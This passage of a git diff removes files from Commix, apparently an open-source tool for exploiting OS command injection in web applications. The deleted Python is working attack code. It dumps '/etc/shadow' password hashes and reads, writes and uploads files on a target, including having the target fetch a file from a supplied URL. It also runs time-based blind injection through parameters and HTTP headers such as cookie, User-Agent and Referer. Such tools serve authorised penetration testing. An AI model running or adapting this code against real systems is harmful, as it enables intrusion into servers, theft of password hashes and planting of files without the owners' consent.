sys_passes == "": - sys_passes = " " - if sys_passes : - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.users: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - -# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py deleted file mode 100755 index f26d9a86e1..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ /dev/null @@ -1,246 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" - The "tempfile-based" injection technique on Semiblind OS Command Injection. - __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - new_line = "\n" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = True - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - # Execute command - if settings.TARGET_OS == "win": - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname - else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py deleted file mode 100755 index 03541a844c..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ /dev/null @@ -1,653 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import re -import sys -import time -import string -import random -import base64 -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads -from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration -from src.core.injections.semiblind.techniques.tempfile_based import tfb_file_access - -""" -The "tempfile-based" injection technique on semiblind OS command injection. -__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. -""" - -""" -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - settings.WEB_ROOT = "" - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -""" -The "tempfile-based" injection technique handler -""" -def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - injection_type = "semi-blind command injection" - technique = "tempfile-based injection technique" - - if settings.TIME_RELATIVE_ATTACK == False: - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - settings.TIME_RELATIVE_ATTACK = None - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - maxlen = settings.MAXLEN - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - err_msg = "The '--url-reload' option is not available in " + technique + "!" - print(settings.print_critical_msg(err_msg)) - - if not settings.LOAD_SESSION: - # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - - if settings.VERBOSITY_LEVEL != 0: - info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) - - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION: - try: - settings.TEMPFILE_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" - alter_shell = menu.options.alter_shell - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - # Tempfile-based decision payload (check if host is vulnerable). - if alter_shell : - payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == "win": - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" - else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) - - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - #break - else: - break - # False positive - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - # Yaw, got shellz! - # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - if whitespace == "%20": - whitespace = " " - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = " Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - 